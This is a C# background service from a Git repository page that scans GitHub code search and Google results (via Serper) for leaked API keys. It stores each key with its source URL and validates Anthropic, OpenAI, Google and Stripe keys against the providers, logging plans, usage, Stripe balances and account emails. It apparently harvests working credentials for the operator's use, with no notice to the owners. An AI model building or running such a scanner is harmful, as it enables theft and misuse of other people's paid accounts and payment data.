Files
gott/Services/KeyScannerService.cs
T
Meleki 3cd35ebbfa feat: Stripe-Key-Checker, Krea AI Pattern, Scan-Progress-Tracking
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), Live/Test-Erkennung, Balance, Account-Details
- KeyPatterns: Stripe-Patterns einkommentiert (sk_live_, sk_test_), Krea AI Pattern (UUID:Token), Mindest-Suchlänge 4
- KeyScannerService: Stripe-Check integriert, Auto-Check nach Scan entfernt (manuell separat), Progress-Tracking (Phase, Detail, Current/Total, KeysFound)
- ApiKeysEndpoint: Stripe in HandleCheck/HandleCheckAll/HandleAdopt, Progress im Status-Endpoint
- Frontend: Live-Fortschrittsanzeige mit Spinner, Phase, Query, Counter, Polling 1.5s, Krea AI in typeNames/typeIcons
2026-03-14 14:34:02 +01:00

638 lines
27 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
using System.Text.Json;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using Gott.Models;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
namespace Gott.Services;
public class KeyScannerService : BackgroundService
{
private readonly DatabaseService _db;
private readonly IHttpClientFactory _httpFactory;
private readonly ILogger<KeyScannerService> _logger;
private readonly ServerSettingsService _settings;
private string _githubToken => _settings.Get("GitHubToken");
private string _serperApiKey => _settings.Get("SerperApiKey");
private int _intervalHours => _settings.GetInt("ScanIntervalHours", 0);
// Status-Tracking
private readonly object _lock = new();
private bool _isRunning;
private string _lastRun;
private string _lastResult;
private readonly ManualResetEventSlim _triggerNow = new(false);
private string _scanMode = "full"; // full, quick, web
// Progress-Tracking
private string _progressPhase = "";
private string _progressDetail = "";
private int _progressCurrent;
private int _progressTotal;
private int _progressKeysFound;
public bool IsRunning { get { lock (_lock) return _isRunning; } }
public string LastRun { get { lock (_lock) return _lastRun; } }
public string LastResult { get { lock (_lock) return _lastResult; } }
public (string Phase, string Detail, int Current, int Total, int KeysFound) Progress
{
get { lock (_lock) return (_progressPhase, _progressDetail, _progressCurrent, _progressTotal, _progressKeysFound); }
}
private void SetProgress(string phase, string detail = "", int current = 0, int total = 0)
{
lock (_lock)
{
_progressPhase = phase;
_progressDetail = detail;
_progressCurrent = current;
_progressTotal = total;
}
}
private void IncrementKeysFound()
{
lock (_lock) _progressKeysFound++;
}
private void AddLog(string type, string message, string details = null)
{
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
catch { /* DB-Fehler ignorieren */ }
});
}
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
// Alle Patterns für Regex-Matching im Dateiinhalt
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
private static readonly string[] SearchLanguages =
{
"Dotenv", "Text", "JavaScript", "Python", "TypeScript",
"Dockerfile", "Markdown", "Jupyter Notebook", "Shell",
"Java", "Go", "C++", "PHP"
};
private static readonly string[] PathExtensions =
{
".env", ".envrc", ".prod", ".secret", ".private", ".key",
".xml", ".json", ".properties", ".sql", ".txt", ".log",
".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg",
".tmp", ".backup", ".bak", ".enc",
};
private const int RateLimitDelayMs = 6_500;
private const int MaxResultsPerSearch = 1000;
private const int ResultsPerPage = 100;
public KeyScannerService(
DatabaseService db,
IHttpClientFactory httpFactory,
ServerSettingsService settings,
ILogger<KeyScannerService> logger)
{
_db = db;
_httpFactory = httpFactory;
_settings = settings;
_logger = logger;
}
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
{
var hasGitHub = !string.IsNullOrWhiteSpace(_githubToken);
var hasSerper = !string.IsNullOrWhiteSpace(_serperApiKey);
if (!hasGitHub && !hasSerper)
{
_logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken/SerperApiKey konfiguriert)");
// Warte trotzdem auf manuelles Trigger-Signal
await WaitForTriggerOnly(stoppingToken);
return;
}
if (_intervalHours <= 0)
{
_logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv");
await WaitForTriggerOnly(stoppingToken);
return;
}
_logger.LogInformation("KeyScannerService gestartet (Intervall: {Hours}h)", _intervalHours);
while (!stoppingToken.IsCancellationRequested)
{
await RunScan(stoppingToken);
// Warte auf Intervall oder manuelles Signal
var waitResult = await WaitWithTrigger(TimeSpan.FromHours(_intervalHours), stoppingToken);
if (waitResult) _logger.LogInformation("KeyScannerService: Manueller Scan angefordert");
}
}
/// <summary>Wartet nur auf manuelles Trigger-Signal (kein automatisches Intervall).</summary>
private async Task WaitForTriggerOnly(CancellationToken stoppingToken)
{
while (!stoppingToken.IsCancellationRequested)
{
await WaitWithTrigger(Timeout.InfiniteTimeSpan, stoppingToken);
if (!stoppingToken.IsCancellationRequested)
await RunScan(stoppingToken);
}
}
/// <summary>Wartet auf Timeout oder Trigger-Signal. Gibt true zurück wenn getriggert.</summary>
private Task<bool> WaitWithTrigger(TimeSpan timeout, CancellationToken ct)
{
return Task.Run(() =>
{
_triggerNow.Reset();
var waitHandles = new[] { _triggerNow.WaitHandle, ct.WaitHandle };
var idx = WaitHandle.WaitAny(waitHandles, timeout);
return idx == 0; // true = triggered
}, ct);
}
/// <summary>Wird vom Endpoint aufgerufen um einen sofortigen Scan auszulösen.</summary>
public void TriggerScan(string mode = "full")
{
lock (_lock) _scanMode = mode;
_triggerNow.Set();
}
private async Task RunScan(CancellationToken ct)
{
string mode;
lock (_lock)
{
if (_isRunning) return;
_isRunning = true;
mode = _scanMode;
_scanMode = "full"; // Reset für nächsten Lauf
}
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
AddLog("scan", modeLabel + "-Scan gestartet");
lock (_lock) _progressKeysFound = 0;
SetProgress("Starte " + modeLabel + "-Scan…");
var newKeysFound = 0;
var totalFound = 0;
try
{
// Phase 1: Quellen je nach Scan-Modus scannen
var allFoundKeys = new List<(string Key, string Url, string Source)>();
// Quick: nur GitHub mit reduzierten Sprachen/Pfaden
// Full: GitHub + Serper
// Web: nur Serper
if (mode != "web" && !string.IsNullOrWhiteSpace(_githubToken))
{
SetProgress("GitHub Code Search", "Starte…");
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
}
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
{
SetProgress("Web-Suche (Serper)", "Starte…");
var spKeys = await ScanSerper(ct);
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
}
totalFound = allFoundKeys.Count;
// Phase 2: Neue Keys in DB speichern (dedupliziert)
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", 0, totalFound);
var seen = new HashSet<string>(StringComparer.Ordinal);
var saveIdx = 0;
foreach (var (key, sourceUrl, source) in allFoundKeys)
{
saveIdx++;
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
if (!seen.Add(key)) continue;
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
IncrementKeysFound();
await _db.CreateScannedKey(new ScannedKeyRecord
{
ScannedKeyId = Guid.NewGuid().ToString("N"),
ApiKey = key,
Source = source,
SourceUrl = sourceUrl,
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
source,
source_url = sourceUrl,
scan_mode = modeLabel
});
AddLog("key_found", logMsg, detailsJson);
}
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu";
}
SetProgress("Abgeschlossen", _lastResult);
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
}
catch (OperationCanceledException) { /* shutdown */ }
catch (Exception ex)
{
AddLog("error", "Scan-Fehler: " + ex.Message);
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
_lastResult = $"Fehler: {ex.Message}";
}
}
finally
{
lock (_lock) _isRunning = false;
}
}
// ── GitHub Code Search ──
private static readonly string[] QuickLanguages = { "Dotenv", "Text", "Markdown" };
private static readonly string[] QuickPathExtensions = { ".env" };
/// <summary>Quick-Scan: nur die wichtigsten Sprachen/Pfade durchsuchen.</summary>
private async Task<List<(string Key, string Url)>> ScanGitHubQuick(CancellationToken ct)
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var queries = new List<(string Query, Regex Regex)>();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in QuickLanguages)
{
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
queries.Add(($"{searchTerm} {langFilter}", regex));
}
foreach (var pathExt in QuickPathExtensions)
queries.Add(($"{searchTerm} path:{pathExt}", regex));
}
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));
for (int i = 0; i < queries.Count; i++)
{
ct.ThrowIfCancellationRequested();
var (query, regex) = queries[i];
SetProgress("GitHub Code Search (Quick)", query, i + 1, queries.Count);
try
{
var results = await SearchCodeAsync(client, query, regex, ct);
foreach (var (key, url) in results)
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
SetProgress("GitHub Code Search (Quick)", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
await Task.Delay(60_000, ct);
}
catch (Exception ex)
{
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
}
}
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
}
private async Task<List<(string Key, string Url)>> ScanGitHub(CancellationToken ct)
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal); // Key → erste URL
var queries = BuildSearchQueries();
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("GottKeyScanner", "1.0"));
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github+json"));
client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _githubToken);
client.DefaultRequestHeaders.Add("X-GitHub-Api-Version", "2022-11-28");
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.text-match+json"));
for (int i = 0; i < queries.Count; i++)
{
ct.ThrowIfCancellationRequested();
var (query, regex) = queries[i];
SetProgress("GitHub Code Search", query, i + 1, queries.Count);
try
{
var results = await SearchCodeAsync(client, query, regex, ct);
foreach (var (key, url) in results)
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
SetProgress("GitHub Code Search", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count);
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
await Task.Delay(60_000, ct);
try
{
var results = await SearchCodeAsync(client, query, regex, ct);
foreach (var (key, url) in results)
if (!allKeys.ContainsKey(key)) allKeys[key] = url;
}
catch (Exception retryEx)
{
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
}
}
catch (Exception ex)
{
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
}
}
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
}
private static async Task<List<(string Key, string Url)>> SearchCodeAsync(HttpClient client, string query, Regex regex, CancellationToken ct)
{
var keys = new List<(string Key, string Url)>();
int page = 1;
int maxPages = MaxResultsPerSearch / ResultsPerPage;
while (page <= maxPages)
{
ct.ThrowIfCancellationRequested();
var url = $"https://api.github.com/search/code?q={Uri.EscapeDataString(query)}&per_page={ResultsPerPage}&page={page}";
await Task.Delay(RateLimitDelayMs, ct);
var resp = await client.GetAsync(url, ct);
if (resp.StatusCode == System.Net.HttpStatusCode.UnprocessableEntity) break;
resp.EnsureSuccessStatusCode();
var json = await resp.Content.ReadAsStringAsync(ct);
var doc = JsonDocument.Parse(json);
var root = doc.RootElement;
var totalCount = root.GetProperty("total_count").GetInt32();
if (!root.TryGetProperty("items", out var items)) break;
foreach (var item in items.EnumerateArray())
{
var htmlUrl = BuildHtmlUrl(item);
if (item.TryGetProperty("text_matches", out var textMatches))
{
foreach (var tm in textMatches.EnumerateArray())
{
if (tm.TryGetProperty("fragment", out var frag))
{
var matches = regex.Matches(frag.GetString() ?? "");
foreach (Match m in matches) keys.Add((m.Value, htmlUrl));
}
}
}
// Kein text_match → Raw-File fetchen
var hasMatches = item.TryGetProperty("text_matches", out var tm2) && tm2.EnumerateArray().Any();
if (!hasMatches)
{
var rawKeys = await TryFetchRawFileKeysAsync(client, item, regex, ct);
foreach (var k in rawKeys) keys.Add((k, htmlUrl));
}
}
if (items.GetArrayLength() < ResultsPerPage || page * ResultsPerPage >= totalCount) break;
page++;
}
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
}
/// <summary>Baut die GitHub HTML-URL aus einem Search-API-Item.</summary>
private static string BuildHtmlUrl(JsonElement item)
{
if (item.TryGetProperty("html_url", out var htmlUrl))
return htmlUrl.GetString() ?? "";
// Fallback: aus repository.full_name + path zusammenbauen
if (item.TryGetProperty("repository", out var repo) &&
repo.TryGetProperty("full_name", out var fullName) &&
item.TryGetProperty("path", out var path))
return $"https://github.com/{fullName.GetString()}/blob/HEAD/{path.GetString()}";
return "";
}
private static async Task<List<string>> TryFetchRawFileKeysAsync(HttpClient client, JsonElement item, Regex regex, CancellationToken ct)
{
var keys = new List<string>();
try
{
if (!item.TryGetProperty("repository", out var repo) ||
!repo.TryGetProperty("full_name", out var fullName) ||
!item.TryGetProperty("path", out var path))
return keys;
var contentsUrl = $"https://api.github.com/repos/{fullName.GetString()}/contents/{path.GetString()}";
var request = new HttpRequestMessage(HttpMethod.Get, contentsUrl);
request.Headers.Accept.Clear();
request.Headers.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw+json"));
await Task.Delay(500, ct);
var resp = await client.SendAsync(request, ct);
if (!resp.IsSuccessStatusCode) return keys;
var content = await resp.Content.ReadAsStringAsync(ct);
var matches = regex.Matches(content);
foreach (Match m in matches) keys.Add(m.Value);
}
catch { /* Datei nicht lesbar – ignorieren */ }
return keys;
}
private static List<(string Query, Regex Regex)> BuildSearchQueries()
{
var queries = new List<(string, Regex)>();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in SearchLanguages)
{
var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
queries.Add(($"{searchTerm} {langFilter}", regex));
}
foreach (var pathExt in PathExtensions)
{
queries.Add(($"{searchTerm} path:{pathExt}", regex));
}
}
return queries;
}
// ── Serper.dev Google Search ──
/// <summary>
/// Durchsucht Google via Serper.dev nach geleakten API-Keys.
/// Jeder KeyPattern-SearchTerm wird als exakte Phrase gesucht.
/// Snippets werden nach dem vollständigen Key-Pattern geparst.
/// </summary>
private async Task<List<(string Key, string Url)>> ScanSerper(CancellationToken ct)
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
for (int i = 0; i < SearchPatterns.Length; i++)
{
var (pattern, searchTerm, _) = SearchPatterns[i];
ct.ThrowIfCancellationRequested();
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
var regex = new Regex(pattern, RegexOptions.Compiled);
try
{
// Serper erlaubt bis zu 100 Ergebnisse pro Request (num: 100)
var payload = JsonSerializer.Serialize(new { q = $"\"{searchTerm}\"", num = 100 });
var request = new HttpRequestMessage(HttpMethod.Post, "https://google.serper.dev/search")
{
Content = new StringContent(payload, Encoding.UTF8, "application/json")
};
var resp = await client.SendAsync(request, ct);
resp.EnsureSuccessStatusCode();
var json = await resp.Content.ReadAsStringAsync(ct);
var doc = JsonDocument.Parse(json);
// Organic results durchsuchen
if (doc.RootElement.TryGetProperty("organic", out var organic))
{
foreach (var item in organic.EnumerateArray())
{
var link = item.TryGetProperty("link", out var l) ? l.GetString() ?? "" : "";
var snippet = item.TryGetProperty("snippet", out var s) ? s.GetString() ?? "" : "";
var title = item.TryGetProperty("title", out var t) ? t.GetString() ?? "" : "";
// Keys aus Snippet und Title extrahieren
var text = snippet + " " + title;
var matches = regex.Matches(text);
foreach (Match m in matches)
if (!allKeys.ContainsKey(m.Value)) allKeys[m.Value] = link;
}
}
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
await Task.Delay(1000, ct); // Rate-Limit schonen
}
catch (Exception ex)
{
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
}
}
return allKeys.Select(kv => (kv.Key, kv.Value)).ToList();
}
// ── Key Check ──
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
{
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
if (KeyPatterns.IsAnthropic(type))
{
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "stripe_live" || type == "stripe_test")
{
var result = await StripeKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, is_live = result.IsLiveKey, account_id = result.AccountId, account_name = result.AccountName, account_email = result.AccountEmail, country = result.AccountCountry, balance_available = result.BalanceAvailable, balance_pending = result.BalancePending, currency = result.Currency, charges_enabled = result.ChargesEnabled, payouts_enabled = result.PayoutsEnabled, source_url = sk.SourceUrl }));
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
{
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
}
}
private static string DetectKeyType(string key) => KeyPatterns.DetectType(key);
}